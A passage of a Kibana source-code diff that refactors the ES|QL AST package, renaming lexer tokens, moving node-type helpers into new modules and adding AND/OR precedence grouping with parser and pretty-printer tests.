OPENING_BRACKET(): TerminalNode { - return this.getToken(esql_parser.OPENING_BRACKET, 0); + public LP(): TerminalNode { + return this.getToken(esql_parser.LP, 0); } public query(): QueryContext { return this.getTypedRuleContext(QueryContext, 0) as QueryContext; } - public CLOSING_BRACKET(): TerminalNode { - return this.getToken(esql_parser.CLOSING_BRACKET, 0); + public RP(): TerminalNode { + return this.getToken(esql_parser.RP, 0); } public get ruleIndex(): number { return esql_parser.RULE_subqueryExpression; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/Explain.g4 b/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/Explain.g4 index c65e49cc541ae..0b4944ef27a72 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/Explain.g4 +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/Explain.g4 @@ -9,12 +9,12 @@ lexer grammar Explain; // // Explain // -EXPLAIN : 'explain' -> pushMode(EXPLAIN_MODE); - +DEV_EXPLAIN : {this.isDevVersion()}? 'explain' -> pushMode(EXPLAIN_MODE); mode EXPLAIN_MODE; -EXPLAIN_OPENING_BRACKET : OPENING_BRACKET -> type(OPENING_BRACKET), pushMode(DEFAULT_MODE); +EXPLAIN_LP : LP -> type(LP), pushMode(DEFAULT_MODE); EXPLAIN_PIPE : PIPE -> type(PIPE), popMode; + EXPLAIN_WS : WS -> channel(HIDDEN); EXPLAIN_LINE_COMMENT : LINE_COMMENT -> channel(HIDDEN); EXPLAIN_MULTILINE_COMMENT : MULTILINE_COMMENT -> channel(HIDDEN); diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/From.g4 b/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/From.g4 index 541dc27eebf6d..8ea8306b58be6 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/From.g4 +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/lexer/From.g4 @@ -23,6 +23,9 @@ FROM_COMMA : COMMA -> type(COMMA); FROM_ASSIGN : ASSIGN -> type(ASSIGN); METADATA : 'metadata'; +// we need this for EXPLAIN +FROM_RP : RP -> type(RP), popMode; + // in 8.14 ` were not allowed // this has been relaxed in 8.15 since " is used for quoting fragment UNQUOTED_SOURCE_PART diff --git a/src/platform/packages/shared/kbn-esql-ast/src/ast/grouping.ts b/src/platform/packages/shared/kbn-esql-ast/src/ast/grouping.ts new file mode 100644 index 0000000000000..9167f007b331b --- /dev/null +++ b/src/platform/packages/shared/kbn-esql-ast/src/ast/grouping.ts @@ -0,0 +1,99 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { isBinaryExpression } from './is'; +import type { ESQLAstNode } from '../types'; + +/** + * The group name of a binary expression. Groups are ordered by precedence. + */ +export enum BinaryExpressionGroup { + /** + * No group, not a binary expression. + */ + none = 0, + + /** + * Binary expression, but its group is unknown. + */ + unknown = 1, + + /** + * Logical: `and`, `or` + */ + or = 10, + and = 11, + + /** + * Regular expression: `like`, `not like`, `rlike`, `not rlike` + */ + regex = 20, + + /** + * Assignment: `=`, `:=` + */ + assignment = 30, + + /** + * Comparison: `==`, `=~`, `!=`, `<`, `<=`, `>`, `>=` + */ + comparison = 40, + + /** + * Additive: `+`, `-` + */ + additive = 50, + + /** + * Multiplicative: `*`, `/`, `%` + */ + multiplicative = 60, +} + +/** + * Returns the group of a binary expression. + * + * @param node Any ES|QL AST node. + * @returns Binary expression group or undefined if the node is + * not a binary expression. + */ +export const binaryExpressionGroup = (node: ESQLAstNode): BinaryExpressionGroup => { + if (isBinaryExpression(node)) { + switch (node.name) { + case '+': + case '-': + return BinaryExpressionGroup.additive; + case '*': + case '/': + case '%': + return BinaryExpressionGroup.multiplicative; + case '=': + return BinaryExpressionGroup.assignment; + case '==': + case '=~': + case '!=': + case '<': + case '<=': + case '>': + case '>=': + return BinaryExpressionGroup.comparison; + case 'like': + case 'not like': + case 'rlike': + case 'not rlike': + return BinaryExpressionGroup.regex; + case 'or': + return BinaryExpressionGroup.or; + case 'and': + return BinaryExpressionGroup.and; + } + return BinaryExpressionGroup.unknown; + } + return BinaryExpressionGroup.none; +}; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/ast/helpers.ts b/src/platform/packages/shared/kbn-esql-ast/src/ast/helpers.ts deleted file mode 100644 index 93a7fa9ea9fbc..0000000000000 --- a/src/platform/packages/shared/kbn-esql-ast/src/ast/helpers.ts +++ /dev/null @@ -1,137 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import type { - BinaryExpressionRenameOperator, - BinaryExpressionWhereOperator, - ESQLAstNode, - ESQLBinaryExpression, - ESQLColumn, - ESQLFunction, - ESQLIdentifier, - ESQLIntegerLiteral, - ESQLList, - ESQLLiteral, - ESQLParamLiteral, - ESQLProperNode, - ESQLSource, - ESQLStringLiteral, -} from '../types'; -import { BinaryExpressionGroup } from './constants'; - -export const isProperNode = (node: unknown): node is ESQLProperNode => - !!node && - typeof node === 'object' && - !Array.isArray(node) && - typeof (node as ESQLProperNode).type === 'string' && - !!(node as ESQLProperNode).type; - -export const isFunctionExpression = (node: unknown): node is ESQLFunction => - isProperNode(node) && node.type === 'function'; - -/** - * Returns true if the given node is a binary expression, i.e. an operator - * surrounded by two operands: - * - * ``` - * 1 + 1 - * column LIKE "foo" - * foo = "bar" - * ``` - * - * @param node Any ES|QL AST node. - */ -export const isBinaryExpression = (node: unknown): node is ESQLBinaryExpression => - isFunctionExpression(node) && node.subtype === 'binary-expression'; - -export const isWhereExpression = ( - node: unknown -): node is ESQLBinaryExpression => - isBinaryExpression(node) && node.name === 'where'; - -export const isAsExpression = ( - node: unknown -): node is ESQLBinaryExpression => - isBinaryExpression(node) && node.name === 'as'; - -export const isFieldExpression = ( - node: unknown -): node is ESQLBinaryExpression => - isBinaryExpression(node) && node.name === '='; - -export const isLiteral = (node: unknown): node is ESQLLiteral => - isProperNode(node) && node.type === 'literal'; - -export const isStringLiteral = (node: unknown): node is ESQLStringLiteral => - isLiteral(node) && node.literalType === 'keyword'; - -export const isIntegerLiteral = (node: unknown): node is ESQLIntegerLiteral => - isLiteral(node) && node.literalType === 'integer'; - -export const isDoubleLiteral = (node: unknown): node is ESQLIntegerLiteral => - isLiteral(node) && node.literalType === 'double'; - -export const isBooleanLiteral = (node: unknown): node is ESQLStringLiteral => - isLiteral(node) && node.literalType === 'boolean'; - -export const isParamLiteral = (node: unknown): node is ESQLParamLiteral => - isLiteral(node) && node.literalType === 'param'; - -export const isColumn = (node: unknown): node is ESQLColumn => - isProperNode(node) && node.type === 'column'; - -export const isSource = (node: unknown): node is ESQLSource => - isProperNode(node) && node.type === 'source'; - -export const isIdentifier = (node: unknown): node is ESQLIdentifier => - isProperNode(node) && node.type === 'identifier'; - -export const isList = (node: unknown): node is ESQLList => - isProperNode(node) && node.type === 'list'; - -/** - * Returns the group of a binary expression: - * - * - `additive`: `+`, `-` - * - `multiplicative`: `*`, `/`, `%` - * - `assignment`: `=` - * - `comparison`: `==`, `=~`, `!=`, `<`, `<=`, `>`, `>=` - * - `regex`: `like`, `not_like`, `rlike`, `not_rlike` - * @param node Any ES|QL AST node. - * @returns Binary expression group or undefined if the node is not a binary expression. - */ -export const binaryExpressionGroup = (node: ESQLAstNode): BinaryExpressionGroup => { - if (isBinaryExpression(node)) { - switch (node.name) { - case '+': - case '-': - return BinaryExpressionGroup.additive; - case '*': - case '/': - case '%': - return BinaryExpressionGroup.multiplicative; - case '=': - return BinaryExpressionGroup.assignment; - case '==': - case '=~': - case '!=': - case '<': - case '<=': - case '>': - case '>=': - return BinaryExpressionGroup.comparison; - case 'like': - case 'not like': - case 'rlike': - case 'not rlike': - return BinaryExpressionGroup.regex; - } - } - return BinaryExpressionGroup.unknown; -}; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/ast/is.ts b/src/platform/packages/shared/kbn-esql-ast/src/ast/is.ts new file mode 100644 index 0000000000000..8efb1ca62b1d3 --- /dev/null +++ b/src/platform/packages/shared/kbn-esql-ast/src/ast/is.ts @@ -0,0 +1,84 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import type * as types from '../types'; + +export const isProperNode = (node: unknown): node is types.ESQLProperNode => + !!node && + typeof node === 'object' && + !Array.isArray(node) && + typeof (node as types.ESQLProperNode).type === 'string' && + !!(node as types.ESQLProperNode).type; + +export const isFunctionExpression = (node: unknown): node is types.ESQLFunction => + isProperNode(node) && node.type === 'function'; + +/** + * Returns true if the given node is a binary expression, i.e. an operator + * surrounded by two operands: + * + * ``` + * 1 + 1 + * column LIKE "foo" + * foo = "bar" + * ``` + * + * @param node Any ES|QL AST node. + */ +export const isBinaryExpression = (node: unknown): node is types.ESQLBinaryExpression => + isFunctionExpression(node) && node.subtype === 'binary-expression'; + +export const isWhereExpression = ( + node: unknown +): node is types.ESQLBinaryExpression => + isBinaryExpression(node) && node.name === 'where'; + +export const isAsExpression = ( + node: unknown +): node is types.ESQLBinaryExpression => + isBinaryExpression(node) && node.name === 'as'; + +export const isFieldExpression = ( + node: unknown +): node is types.ESQLBinaryExpression => + isBinaryExpression(node) && node.name === '='; + +export const isLiteral = (node: unknown): node is types.ESQLLiteral => + isProperNode(node) && node.type === 'literal'; + +export const isStringLiteral = (node: unknown): node is types.ESQLStringLiteral => + isLiteral(node) && node.literalType === 'keyword'; + +export const isIntegerLiteral = (node: unknown): node is types.ESQLIntegerLiteral => + isLiteral(node) && node.literalType === 'integer'; + +export const isDoubleLiteral = (node: unknown): node is types.ESQLIntegerLiteral => + isLiteral(node) && node.literalType === 'double'; + +export const isBooleanLiteral = (node: unknown): node is types.ESQLStringLiteral => + isLiteral(node) && node.literalType === 'boolean'; + +export const isParamLiteral = (node: unknown): node is types.ESQLParamLiteral => + isLiteral(node) && node.literalType === 'param'; + +export const isColumn = (node: unknown): node is types.ESQLColumn => + isProperNode(node) && node.type === 'column'; + +export const isSource = (node: unknown): node is types.ESQLSource => + isProperNode(node) && node.type === 'source'; + +export const isIdentifier = (node: unknown): node is types.ESQLIdentifier => + isProperNode(node) && node.type === 'identifier'; + +export const isList = (node: unknown): node is types.ESQLList => + isProperNode(node) && node.type === 'list'; + +export const isOptionNode = (node: types.ESQLAstNode): node is types.ESQLCommandOption => { + return !!node && typeof node === 'object' && !Array.isArray(node) && node.type === 'option'; +}; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/builder/builder.ts b/src/platform/packages/shared/kbn-esql-ast/src/builder/builder.ts index de697715d2d25..bd4f06449a896 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/builder/builder.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/builder/builder.ts @@ -9,7 +9,7 @@ /* eslint-disable @typescript-eslint/no-namespace */ -import { isStringLiteral } from '../ast/helpers'; +import { isStringLiteral } from '../ast/is'; import { LeafPrinter } from '../pretty_print'; import { ESQLAstComment, diff --git a/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/join/index.ts b/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/join/index.ts index 7216bce95ba63..908b33d353aab 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/join/index.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/join/index.ts @@ -8,7 +8,7 @@ */ import type { WalkerAstNode } from '../../../walker/walker'; -import { isAsExpression } from '../../../ast/helpers'; +import { isAsExpression } from '../../../ast/is'; import { Walker } from '../../../walker'; import type { ESQLAstExpression, diff --git a/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/stats/index.ts b/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/stats/index.ts index ae766bb2369d0..0ef56edc51501 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/stats/index.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/mutate/commands/stats/index.ts @@ -23,7 +23,7 @@ import type { ESQLTimeInterval, } from '../../../types'; import * as generic from '../../generic'; -import { isColumn, isFunctionExpression, isParamLiteral } from '../../../ast/helpers'; +import { isColumn, isFunctionExpression, isParamLiteral } from '../../../ast/is'; import type { EsqlQuery } from '../../../query'; /** diff --git a/src/platform/packages/shared/kbn-esql-ast/src/mutate/generic/commands/args/index.ts b/src/platform/packages/shared/kbn-esql-ast/src/mutate/generic/commands/args/index.ts index 7072c38a5f1a8..eaf8c4749da08 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/mutate/generic/commands/args/index.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/mutate/generic/commands/args/index.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { isOptionNode } from '../../../../ast/util'; +import { isOptionNode } from '../../../../ast/is'; import { ESQLAstQueryExpression, ESQLCommand, diff --git a/src/platform/packages/shared/kbn-esql-ast/src/parser/__tests__/binary_expression_grouping.test.ts b/src/platform/packages/shared/kbn-esql-ast/src/parser/__tests__/binary_expression_grouping.test.ts new file mode 100644 index 0000000000000..92211979866de --- /dev/null +++ b/src/platform/packages/shared/kbn-esql-ast/src/parser/__tests__/binary_expression_grouping.test.ts @@ -0,0 +1,95 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { EsqlQuery } from '../../query'; +import { ESQLAstQueryExpression } from '../../types'; +import { singleItems } from '../../visitor/utils'; +import { Walker } from '../../walker'; + +const removeParserFields = (tree: ESQLAstQueryExpression): void => { + Walker.walk(tree, { + visitAny: (node) => { + delete (node as any).text; + delete (node as any).location; + delete (node as any).incomplete; + const args = (node as any).args; + if (Array.isArray(args)) { + (node as any).args = [...singleItems(args)]; + } + }, + }); +}; + +const assertSameAst = (src1: string, src2: string) => { + const { ast: ast1, errors: errors1 } = EsqlQuery.fromSrc(src1); + const { ast: ast2, errors: errors2 } = EsqlQuery.fromSrc(src2); + + expect(errors1.length).toBe(0); + expect(errors2.length).toBe(0); + + removeParserFields(ast1); + removeParserFields(ast2); + + expect(ast1).toEqual(ast2); +}; + +const assertDifferentAst = (src1: string, src2: string) => { + expect(() => assertSameAst(src1, src2)).toThrow(); +}; + +describe('binary operator precedence', () => { + it('AND has higher precedence than OR', () => { + assertSameAst('FROM a | WHERE a AND b OR c', 'FROM a | WHERE (a AND b) OR c'); + assertSameAst('FROM a | WHERE a OR b OR c', 'FROM a | WHERE (a OR b) OR c'); + assertSameAst('FROM a | WHERE a AND b AND c', 'FROM a | WHERE (a AND b) AND c'); + assertDifferentAst('FROM a | WHERE a OR b AND c', 'FROM a | WHERE (a OR b) AND c'); + }); + + it('LIKE (regex) has higher precedence than AND', () => { + assertSameAst('FROM a | WHERE a LIKE "b" OR c', 'FROM a | WHERE (a LIKE "b") OR c'); + assertDifferentAst('FROM a | WHERE a AND b LIKE "c"', 'FROM a | WHERE (a AND b) LIKE "c"'); + }); + + it('comparison has higher precedence than AND', () => { + assertSameAst('FROM a | WHERE a AND b < c', 'FROM a | WHERE a AND (b < c)'); + assertSameAst('FROM a | WHERE a < b AND c', 'FROM a | WHERE (a < b) AND c'); + assertDifferentAst('FROM a | WHERE a AND b < c', 'FROM a | WHERE (a AND b) < c'); + assertDifferentAst('FROM a | WHERE a < b AND c', 'FROM a | WHERE a < (b AND c)'); + }); + + it('addition has higher precedence than comparison', () => { + assertSameAst('FROM a | WHERE a > b + c', 'FROM a | WHERE a > (b + c)'); + assertSameAst('FROM a | WHERE a + b > c', 'FROM a | WHERE (a + b) > c'); + assertDifferentAst('FROM a | WHERE a > b + c', 'FROM a | WHERE (a > b) + c'); + assertDifferentAst('FROM a | WHERE a + b > c', 'FROM a | WHERE a + (b > c)'); + }); + + it('addition has higher precedence than AND (and LIKE)', () => { + assertSameAst('FROM a | WHERE a + b AND c', 'FROM a | WHERE (a + b) AND c'); + // TODO: this test should work once right side of LIKE does not return a list of "single items" + // assertSameAst('FROM a | WHERE a + b LIKE "c"', 'FROM a | WHERE (a + b) LIKE "c"'); + assertSameAst('FROM a | WHERE a AND b + c', 'FROM a | WHERE a AND (b + c)'); + assertDifferentAst('FROM a | WHERE a + b AND c', 'FROM a | WHERE a + (b AND c)'); + assertDifferentAst('FROM a | WHERE a AND b + c', 'FROM a | WHERE (a AND b) + c'); + }); + + it('multiplication has higher precedence than addition', () => { + assertSameAst('FROM a | WHERE a * b + c', 'FROM a | WHERE (a * b) + c'); + assertSameAst('FROM a | WHERE a + b * c', 'FROM a | WHERE a + (b * c)'); + assertDifferentAst('FROM a | WHERE a * b + c', 'FROM a | WHERE a * (b + c)'); + assertDifferentAst('FROM a | WHERE a + b * c', 'FROM a | WHERE (a + b) * c'); + }); + + it('grouping addition in comparison is not necessary', () => { + assertSameAst( + 'FROM a | EVAL key = CASE(timestamp < t - 1 hour AND timestamp > t - 2 hour)', + 'FROM a | EVAL key = CASE(timestamp < (t - 1 hour) AND timestamp > (t - 2 hour))' + ); + }); +}); diff --git a/src/platform/packages/shared/kbn-esql-ast/src/parser/parser.ts b/src/platform/packages/shared/kbn-esql-ast/src/parser/parser.ts index c6eeb8b7214c7..334c2fdbf6b36 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/parser/parser.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/parser/parser.ts @@ -13,33 +13,10 @@ import { ESQLErrorListener } from './esql_error_listener'; import { ESQLAstBuilderListener } from './esql_ast_builder_listener'; import { GRAMMAR_ROOT_RULE } from './constants'; import { attachDecorations, collectDecorations } from './formatting'; -import type { ESQLAst, ESQLAstQueryExpression, EditorError } from '../types'; import { Builder } from '../builder'; import { default as ESQLLexer } from '../antlr/esql_lexer'; import { default as ESQLParser } from '../antlr/esql_parser'; - -/** - * Some changes to the grammar deleted the literal names for some tokens. - * This is a workaround to restore the literals that were lost. - * - * See https://github.com/elastic/elasticsearch/pull/124177 for context. - */ -const replaceSymbolsWithLiterals = ( - symbolicNames: Array, - literalNames: Array -) => { - const symbolReplacements: Map = new Map([ - ['LP', '('], - ['OPENING_BRACKET', '['], - ]); - - for (let i = 0; i < symbolicNames.length; i++) { - const name = symbolicNames[i]; - if (name && symbolReplacements.has(name)) { - literalNames[i] = `'${symbolReplacements.get(name)!}'`; - } - } -}; +import type { ESQLAst, ESQLAstQueryExpression, EditorError } from '../types'; export interface ParseOptions { /** @@ -100,9 +77,6 @@ export class Parser { const tokens = (this.tokens = new CommonTokenStream(lexer)); const parser = (this.parser = new ESQLParser(tokens)); - replaceSymbolsWithLiterals(lexer.symbolicNames, lexer.literalNames); - replaceSymbolsWithLiterals(parser.symbolicNames, parser.literalNames); - lexer.removeErrorListeners(); lexer.addErrorListener(this.errors); diff --git a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.comments.test.ts b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.comments.test.ts index 89e6e25764652..a9e2121e859c0 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.comments.test.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.comments.test.ts @@ -186,6 +186,32 @@ describe('binary expressions', () => { 'FROM a | STATS /* a */ /* a.2 */ 1 /* b */ + /* c */ 2 /* d */ + /* e */ 3 /* f */ + /* g */ 4 /* h */ /* h.2 */' ); }); + + describe('grouping', () => { + test('AND has higher precedence than OR', () => { + assertPrint('FROM a | WHERE /* a */ b /* b */ AND (c /* d */ OR /* e */ d)'); + assertPrint('FROM a | WHERE (b /* a */ OR /* b */ c) AND /* c */ d'); + }); + + test('addition has higher precedence than AND', () => { + assertPrint('FROM a | WHERE b /* a */ + (/* b */ c /* c */ AND /* d */ d /* e */)'); + assertPrint('FROM a | WHERE (/* a */ b /* b */ AND /* c */ c /* d */) + /* e */ d /* f */'); + }); + + test('multiplication (division) has higher precedence than addition (subtraction)', () => { + assertPrint( + 'FROM a | WHERE /* a */ b /* b */ / (/* c */ c /* d */ - /* e */ d /* f */) /* h */' + ); + assertPrint('FROM a | WHERE (/* a */ b /* b */ - /* c */ c /* d */) / /* e */ d /* f */'); + }); + + test('issue: https://github.com/elastic/kibana/issues/224990', () => { + assertPrint('FROM a | WHERE b AND (c OR d)'); + assertPrint( + 'FROM kibana_sample_data_logs | WHERE agent.keyword /* a */ == /* b */ "meow" AND (geo.dest == "GR" /* c */ OR geo.dest == "ES")' + ); + }); + }); }); describe('unary expressions', () => { diff --git a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.test.ts b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.test.ts index 6660fed6c0f2f..d62658a44e4d6 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.test.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/__tests__/basic_pretty_printer.test.ts @@ -21,6 +21,12 @@ const reprint = (src: string) => { return { text }; }; +const assertReprint = (src: string, expected: string = src) => { + const { text } = reprint(src); + + expect(text).toBe(expected); +}; + describe('single line query', () => { describe('commands', () => { describe('FROM', () => { @@ -517,46 +523,82 @@ describe('single line query', () => { expect(text).toBe('FROM a | WHERE a LIKE "b"'); }); - test('inserts brackets where necessary due precedence', () => { - const { text } = reprint('FROM a | WHERE (1 + 2) * 3'); + test('formats WHERE binary-expression', () => { + const { text } = reprint('FROM a | STATS a WHERE b'); - expect(text).toBe('FROM a | WHERE (1 + 2) * 3'); + expect(text).toBe('FROM a | STATS a WHERE b'); }); - test('inserts brackets where necessary due precedence - 2', () => { - const { text } = reprint('FROM a | WHERE (1 + 2) * (3 - 4)'); + test('formats complex WHERE binary-expression', () => { + const { text } = reprint('FROM a | STATS a = agg(123) WHERE b == test(c, 123)'); - expect(text).toBe('FROM a | WHERE (1 + 2) * (3 - 4)'); + expect(text).toBe('FROM a | STATS a = AGG(123) WHERE b == TEST(c, 123)'); }); - test('inserts brackets where necessary due precedence - 3', () => { - const { text } = reprint('FROM a | WHERE (1 + 2) * (3 - 4) / (5 + 6 + 7)'); + describe('grouping', () => { + test('inserts brackets where necessary due precedence', () => { + const { text } = reprint('FROM a | WHERE (1 + 2) * 3'); - expect(text).toBe('FROM a | WHERE (1 + 2) * (3 - 4) / (5 + 6 + 7)'); - }); + expect(text).toBe('FROM a | WHERE (1 + 2) * 3'); + }); - test('inserts brackets where necessary due precedence - 4', () => { - const { text } = reprint('FROM a | WHERE (1 + (1 + 2)) * ((3 - 4) / (5 + 6 + 7))'); + test('inserts brackets where necessary due precedence - 2', () => { + const { text } = reprint('FROM a | WHERE (1 + 2) * (3 - 4)'); - expect(text).toBe('FROM a | WHERE (1 + 1 + 2) * (3 - 4) / (5 + 6 + 7)'); - }); + expect(text).toBe('FROM a | WHERE (1 + 2) * (3 - 4)'); + }); - test('inserts brackets where necessary due precedence - 5', () => { - const { text } = reprint('FROM a | WHERE (1 + (1 + 2)) * (((3 - 4) / (5 + 6 + 7)) + 1)'); + test('inserts brackets where necessary due precedence - 3', () => { + const { text } = reprint('FROM a | WHERE (1 + 2) * (3 - 4) / (5 + 6 + 7)'); - expect(text).toBe('FROM a | WHERE (1 + 1 + 2) * ((3 - 4) / (5 + 6 + 7) + 1)'); - }); + expect(text).toBe('FROM a | WHERE (1 + 2) * (3 - 4) / (5 + 6 + 7)'); + }); - test('formats WHERE binary-expression', () => { - const { text } = reprint('FROM a | STATS a WHERE b'); + test('inserts brackets where necessary due precedence - 4', () => { + const { text } = reprint('FROM a | WHERE (1 + (1 + 2)) * ((3 - 4) / (5 + 6 + 7))'); - expect(text).toBe('FROM a | STATS a WHERE b'); - }); + expect(text).toBe('FROM a | WHERE (1 + 1 + 2) * (3 - 4) / (5 + 6 + 7)'); + }); - test('formats complex WHERE binary-expression', () => { - const { text } = reprint('FROM a | STATS a = agg(123) WHERE b == test(c, 123)'); + test('inserts brackets where necessary due precedence - 5', () => { + const { text } = reprint( + 'FROM a | WHERE (1 + (1 + 2)) * (((3 - 4) / (5 + 6 + 7)) + 1)' + ); - expect(text).toBe('FROM a | STATS a = AGG(123) WHERE b == TEST(c, 123)'); + expect(text).toBe('FROM a | WHERE (1 + 1 + 2) * ((3 - 4) / (5 + 6 + 7) + 1)'); + }); + + test('AND has higher precedence than OR', () => { + assertReprint('FROM a | WHERE b AND (c OR d)'); + assertReprint('FROM a | WHERE (b AND c) OR d', 'FROM a | WHERE b AND c OR d'); + assertReprint('FROM a | WHERE b OR c AND d'); + assertReprint('FROM a | WHERE (b OR c) AND d'); + }); + + test('addition has higher precedence than AND', () => { + assertReprint('FROM a | WHERE b + (c AND d)'); + assertReprint('FROM a | WHERE (b + c) AND d', 'FROM a | WHERE b + c AND d'); + assertReprint('FROM a | WHERE b AND c + d'); + assertReprint('FROM a | WHERE (b AND c) + d'); + }); + + test('multiplication (division) has higher precedence than addition (subtraction)', () => { + assertReprint('FROM a | WHERE b / (c - d)'); + assertReprint('FROM a | WHERE b * (c - d)'); + assertReprint('FROM a | WHERE b * (c + d)'); + assertReprint('FROM a | WHERE (b / c) - d', 'FROM a | WHERE b / c - d'); + assertReprint('FROM a | WHERE (b * c) - d', 'FROM a | WHERE b * c - d'); + assertReprint('FROM a | WHERE (b * c) + d', 'FROM a | WHERE b * c + d'); + assertReprint('FROM a | WHERE b - c / d'); + assertReprint('FROM a | WHERE (b - c) / d'); + }); + + test('issue: https://github.com/elastic/kibana/issues/224990', () => { + assertReprint('FROM a | WHERE b AND (c OR d)'); + assertReprint( + 'FROM kibana_sample_data_logs | WHERE agent.keyword == "meow" AND (geo.dest == "GR" OR geo.dest == "ES")' + ); + }); }); }); }); @@ -790,7 +832,7 @@ describe('multiline query', () => { const query = `FROM kibana_sample_data_logs | SORT @timestamp | EVAL t = NOW() -| EVAL key = CASE(timestamp < (t - 1 hour) AND timestamp > (t - 2 hour), "Last hour", "Other") +| EVAL key = CASE(timestamp < t - 1 hour AND timestamp > t - 2 hour, "Last hour", "Other") | STATS sum = SUM(bytes), count = COUNT_DISTINCT(clientip) BY key, extension.keyword | EVAL sum_last_hour = CASE(key == "Last hour", sum), sum_rest = CASE(key == "Other", sum), count_last_hour = CASE(key == "Last hour", count), count_rest = CASE(key == "Other", count) | STATS sum_last_hour = MAX(sum_last_hour), sum_rest = MAX(sum_rest), count_last_hour = MAX(count_last_hour), count_rest = MAX(count_rest) BY key, extension.keyword diff --git a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/basic_pretty_printer.ts b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/basic_pretty_printer.ts index d84cd9e9efdfc..b1410f09a13b7 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/basic_pretty_printer.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/basic_pretty_printer.ts @@ -8,14 +8,14 @@ */ import { - binaryExpressionGroup, isBinaryExpression, isColumn, isDoubleLiteral, isIntegerLiteral, isLiteral, isProperNode, -} from '../ast/helpers'; +} from '../ast/is'; +import { BinaryExpressionGroup, binaryExpressionGroup } from '../ast/grouping'; import { ESQLAstBaseItem, ESQLAstCommand, ESQLAstQueryExpression } from '../types'; import { ESQLAstExpressionNode, Visitor } from '../visitor'; import { resolveItem } from '../visitor/utils'; @@ -344,11 +344,17 @@ export class BasicPrettyPrinter { let leftFormatted = ctx.visitArgument(0); let rightFormatted = ctx.visitArgument(1); - if (groupLeft && groupLeft < group) { + const shouldGroupLeftExpressions = + groupLeft && (groupLeft === BinaryExpressionGroup.unknown || groupLeft < group); + + if (shouldGroupLeftExpressions) { leftFormatted = `(${leftFormatted})`; } - if (groupRight && groupRight < group) { + const shouldGroupRightExpressions = + groupRight && (groupRight === BinaryExpressionGroup.unknown || groupRight < group); + + if (shouldGroupRightExpressions) { rightFormatted = `(${rightFormatted})`; } diff --git a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/wrapping_pretty_printer.ts b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/wrapping_pretty_printer.ts index e80878258b32f..89d6ae1b5d47c 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/wrapping_pretty_printer.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/pretty_print/wrapping_pretty_printer.ts @@ -7,8 +7,8 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { BinaryExpressionGroup } from '../ast/constants'; -import { binaryExpressionGroup, isBinaryExpression } from '../ast/helpers'; +import { BinaryExpressionGroup, binaryExpressionGroup } from '../ast/grouping'; +import { isBinaryExpression } from 